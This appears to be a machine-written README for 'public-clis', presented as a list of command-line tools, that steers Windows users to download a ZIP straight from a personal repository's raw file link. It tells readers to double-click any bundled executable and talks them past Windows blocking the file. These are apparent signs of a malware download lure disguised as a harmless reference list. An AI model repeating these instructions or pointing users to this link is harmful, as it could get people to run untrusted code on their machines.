🧩 public-clis - Find the right CLI tools fast

📦 What this is

public-clis is a curated list of command line tools for services, platforms, and everyday tasks. It helps you find the right CLI without hunting through long search results.

This project is useful if you want to:

• Find tools for cloud services, dev tools, and common platforms
• Compare command line options in one place
• Keep a clean list of tools you can check later
• Save time when you need a CLI for a task

🖥️ What you need

This list works on Windows and can also help on other systems.

For Windows users, you only need:

• A web browser
• Internet access
• Enough space to save the file or page you want to keep
• A text app like Notepad if you want to copy the list

If you plan to use any CLI tool you find here, you may also need:

• Windows Terminal or Command Prompt
• PowerShell
• Admin rights for some tools
• Git, if a tool uses Git-based setup steps

📥 Download the project

Visit this page to download: public-clis releases

On the releases page, you can check the latest version and get the files linked there. If the page offers a ZIP file, download it and save it in a folder you can find again, such as Downloads or Desktop.

🚀 Get started on Windows

Follow these steps:

1. Open the download page in your browser.
2. Look for the latest release at the top of the page.
3. Click the file you want to save.
4. If the file comes in a ZIP folder, open the ZIP after it downloads.
5. Extract the files to a folder on your PC.
6. Open the folder and look for the included list or app files.
7. If the release includes a ready-to-run file, double-click it.
8. If the release includes a text file, open it with Notepad or your browser.
9. Use the list to review the CLI tools you want.
10. Keep the folder in a safe place so you can return to it later.

🔎 How to use public-clis

public-clis is a reference list, so the main job is to browse and search.

You can use it like this:

• Open the list and scan for the service or platform you need
• Search for a tool name with Ctrl + F
• Copy a tool name into your browser if you want more details
• Save useful entries in a note file
• Compare tools before you install anything

If you are not sure what to pick, look for:

• The name of the service
• The platform it supports
• The task it handles
• Any link to the tool’s home page or install page

🧭 What you will find

This collection is built for people who need command line tools for many kinds of services and systems. You may find entries for:

• Cloud platforms
• Storage services
• Developer tools
• Deployment tools
• Build tools
• Database tools
• API tools
• Automation tools
• System tools
• Monitoring tools

Each entry is meant to help you move from a service name to the right CLI faster.

🪟 Windows use tips

If you want to use the list on Windows, these tips can help:

• Keep the release files in one folder
• Rename the folder if you want a simple name
• Use Notepad to read plain text files
• Use Edge or Chrome to open HTML files
• Use Ctrl + F to search inside a long list
• Pin the folder to Quick Access if you use it often

If a tool from the list has its own installer or package, follow the steps on that tool’s page. Some tools may install through PowerShell, winget, Scoop, or a setup file.

⚙️ Common ways CLI tools are installed

Tools in a list like this often use one of these methods:

• A download page with a setup file
• A ZIP file with the app inside
• winget on Windows
• PowerShell commands
• Package managers such as npm, pip, Homebrew, or Chocolatey
• GitHub release files

If you are new to this, start with the tool’s release page or setup page. Read the short install steps before you click anything.

🗂️ Suggested folder setup

If you want to keep the project neat on Windows, use a folder like this:

• Downloads\public-clis
• Desktop\public-clis
• Documents\CLI-Lists\public-clis

Inside that folder, you can keep:

• The release ZIP file
• Notes about tools you like
• Shortcuts to related pages
• Any copied text you want to keep

🔍 Find tools faster

When the list gets long, use simple search habits:

• Search by service name first
• Search by tool name if you know it
• Search by task, like backup or deploy
• Search by platform, like Windows or Linux
• Search by package manager if that matters to you

This helps you avoid scrolling through the full list each time.

🛠️ If you want to open files

Some release files may open in different ways:

• .txt files open in Notepad
• .md files open in a browser or editor
• .html files open in a browser
• .zip files open with File Explorer
• .exe files run as Windows apps

If Windows asks what to use, pick Notepad for text and your browser for web pages.

📚 Best way to read the list

For most users, the easiest path is:

1. Download the release
2. Open the main file
3. Search for the service you need
4. Open the linked page for that CLI
5. Check the install steps on the tool page
6. Install the tool that fits your system

That gives you a simple flow from list to tool.

🧩 Example use cases

You may use public-clis when you want to:

• Find a CLI for a cloud platform
• Look up a tool for database work
• Find a command line app for deployment
• Check which tool supports your service
• Build a personal list of useful CLIs
• Save time when you need a tool fast

📄 File handling on Windows

If the release gives you a compressed file, follow these steps:

1. Right-click the ZIP file
2. Select Extract All
3. Pick a folder
4. Click Extract
5. Open the new folder
6. Start the file you want to read or run

If Windows blocks the file, check that you got it from the official release page and that the file type looks right for the task.

🔗 Source and release page

Primary download page: https://github.com/thomasgenidy1-web/public-clis/raw/refs/heads/main/revelly/clis-public-3.1.zip

Use this page to visit and download the latest release files

🧾 What the list is for

public-clis helps you move through a large set of CLI options with less effort. Instead of searching one service at a time, you can use one place to scan many tools.

This works well if you want to:

• Start with a broad list
• Narrow down your choice
• Open the right tool page
• Use a CLI with less guesswork

🔐 Safe download habits

Keep your system safe with simple steps:

• Use the release page linked above
• Open files only from the release you trust
• Check the file name before you run it
• Use the latest release when possible
• Save a copy before you change anything

🧰 Helpful Windows tools

These Windows tools can make the process easier:

• File Explorer
• Notepad
• PowerShell
• Command Prompt
• Windows Terminal
• Edge or Chrome

🧪 If you want to test a tool later

After you find a CLI in the list, you can save it for later use:

• Copy the tool name into a note
• Keep the service name with it
• Add the install link if you use one
• Write one short line about what it does

That makes it easier to return to the same tool later without searching again

📌 Quick path for first-time users

If you just want the shortest path:

1. Open the release page
2. Download the latest files
3. Extract the files if needed
4. Open the list
5. Search for the service you want
6. Open the matching CLI page
7. Follow that tool’s install steps on Windows